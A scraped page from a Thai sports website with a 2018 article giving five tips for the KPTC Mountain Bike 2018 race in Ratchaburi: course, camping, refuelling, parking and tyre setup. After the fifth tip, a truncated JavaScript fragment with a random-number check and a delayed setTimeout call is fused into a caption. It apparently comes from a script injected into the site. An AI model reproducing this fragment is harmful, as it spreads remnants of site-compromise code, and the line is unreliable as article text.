• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

5 อย่างควรรู้ก็ไปซิ่งที่ KPTC Mountain Bike 2018

kan by kan
12 April 2018
in Cycling Tips, Tips & Technics
0
5 อย่างควรรู้ก็ไปซิ่งที่ KPTC Mountain Bike 2018
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

รู้หรือไม่…ทุกปีประมาณเดือนกลางมิถุนายน ทางสวนพฤกษศาสตร์วรรณคดีภาคกลาง เขาประทับช้าง จ.ราชบุรี ร่วมกับมหาวิทยาลัยราชภัฏหมู่บ้านจอมบึง จะจัดกิจกรรมวิ่งเทรลที่มีชื่อว่า เขาประทับช้างเทรล และอีกกิจกรรมหนึ่งที่มักไม่ค่อยได้ยินมากนักแต่จัดกันมากว่า 20 ครั้งแล้ว นั้นคือ กิจกรรมปั่นจักรยานจักรยานเสือภูเขาและเสือหมอบในเขตพื้นที่เขาประทับช้าง ซึ่งชื่อกิจกรรมมักจะใช้ว่า “ปั่นจักรยานชมสวนมวลไม้ในวรรณคดีภาคกลางจักรยานเสือภูเขาและจักรยานทางเรียบ”

คงไมต้องกล่าวอะไรกันมากสำหรับงานวิ่งเขาประทับช้างเทรล (KPTC Trail) เพราะเป็นที่รู้จักกันดีในหมู่นักวิ่งเทรลและนักวิ่ง Road Runner ที่ต้องการวิ่งเทรลครั้งแรก จนได้ฉายางานว่า เทรลอนุบาล แต่ในปีนี้ กิจกรรมที่เพิ่มต่อจากงานวิ่งในสัปดาห์ถัดไป (วันที่ 23-24 มิถุนายน 2018) คือ กิจกรรมปั่นจักรยานเสือภูเขาและเสือหมอบ ที่ปีนี้จะมีการยกระดับการแข่งขันให้มีการจัดการได้มาตรฐานไม่แพ้งานวิ่งเลยทีเดียว มีการใช้ชื่อใหม่ว่า KPTC Mountain Bike 2018 (แน่นอนว่ามีการแข่งเสือหมอบด้วยนะ) สำหรับใครที่สนใจเข้าร่วมกิจกรรม สามารถติดตามรายละเอียดได้ที่ Facebook เพจ StepExtra และ เวบไซด์ Running Connect

  1. สนามออกแบบมาให้เหมาะกับทุกคน

เพราะเขาประทับช้างมีลักษณะกิจกรรมที่ออกแบบมาให้เหมาะกับมือใหม่ จะเห็นได้ว่าการวิ่งเทรล ออกแบบให้นักวิ่งเทรลมือใหม่จนมีชื่อเล่นว่า อนุบาลเทรล ดังนั้นกิจกรรมการปั่นจักรยาน จึงมีรูปแบบคล้ายคลึงกันกัน กิจกรรมปั่นจักรยานครั้งนี้ สนามเส้นทางจะออกแบบให้ง่ายต้องการแข่งขัน มีความท้าทายแต่ไม่ยากลำบากเกินไป เส้นทางให้ความร่มรื่นท่ามกลางแมกไม้นานาพันธุ์ ยิ่งเป็นช่วงหน้าฝนสองข้างทางจะเขียวขจีดูสวยงามมาก และเป็นทางซิงเกิ้ลแทรค เหมาะสำหรับนักปั่นที่ต้องการลงปั่นแข่งขันจักรยานเสือภูเขาเป็นครั้งแรก หรือมือใหม่ที่ต้องการเก็บประสบการณ์เพิ่มเติมจนไปถึงครอบครัวรักการออกกำลังกาย

thaimtb.com
  1. มีที่พักให้ด้วยนะ

ถ้าโรงแรมเต็มหรืออยู่ไกลไป ทางสวนพฤกษศาสตร์วรรณคดีภาคกลาง เขาประทับช้าง จ.ราชบุรี จะมีพื้นที่กางเต็นท์รับรองไว้ให้นักปั่น หรือสนใจเช่าเต็นท์นอนสุดหรูกับนอนรถบ้านก็ได้ ติดต่อจองที่พักได้ที่ MV Caravan หรือ https://www.stepextra.com/kptctrail2018/

  1. วางแผนการเติมพลังงานให้ดี

เพราะว่าเป็นทางที่ออกแบบมาไม่ยาก นักปั่นก็ห้ามชะล่าใจ วางแผนการเติมน้ำและแคลอรี่มาให้ดี ทางง่ายระยะทางจะยาว ดังนั้น นักปั่นควรศึกษาจุดบริการน้ำและอาหารให้ดีว่าอยู่ตรงจุดไหน สภาพอากาศแม้จะเป็นน่าฝนแต่ก็ยังมีอุณหภูมิสูง (ราชบุรีน่าร้อนทั้งปีเลยนะ) ฉะนั้นจำนวนเสบียงและปริมาณน้ำที่ต้องพกพาไปเองต้องคำนวณให้พอดีจนไปถึงจุดเติมได้

  1. มีที่จอดรถให้นะ

นักปั่นควรมาถึงสนามแข่งขันอย่างน้อย 1-2 ชั่วโมง แม้สวนพฤกษศาสตร์วรรณคดีจะมีพื้นที่จอดรถรับรองให้ แต่ด้วยปริมาณรถที่เยอะมาก นักปั่นอาจจะต้องเดินกันยาว กว่าจะถึงพื้นที่ปล่อยตัว (ใครที่นอนเต็นท์ก็โชคดีไป) นอกจากนี้ เมื่อมาถึงแล้ว ก่อนปล่อยตัวควรมีเวลาวอร์มอัพร่างกาย อย่างน้อย 20 นาที

  1. เตรียมจักรยานมาให้ดี

เส้นทางแข่งขันจะเป็นแบบ ซิงเกิ้ลแทรค พื้นผิวส่วนมากจะเป็นทราย เมื่อเข้าใกล้ภูเขาหรือช่วงตีนเขาจะมีหินแข็งกระจายปะปรายกันไป นักปั่นจึงควรเซตอัพระดับความดันของล้อยางให้เหมาะกับพื้นสนามให้ดี ไม่ควรใส่ลมยางมากเกินไป จะทำให้เสียการยึดเกาะและโอกาสกระแทกหินแล้วยางแตกก็มีได้ นอกจากนี้ยังมี Bike Service มาใบริการด้วย แว่วๆ มาว่าจะเป็นของบริษัท Bike Zone นะครับ

Santa Cruz Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

 

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.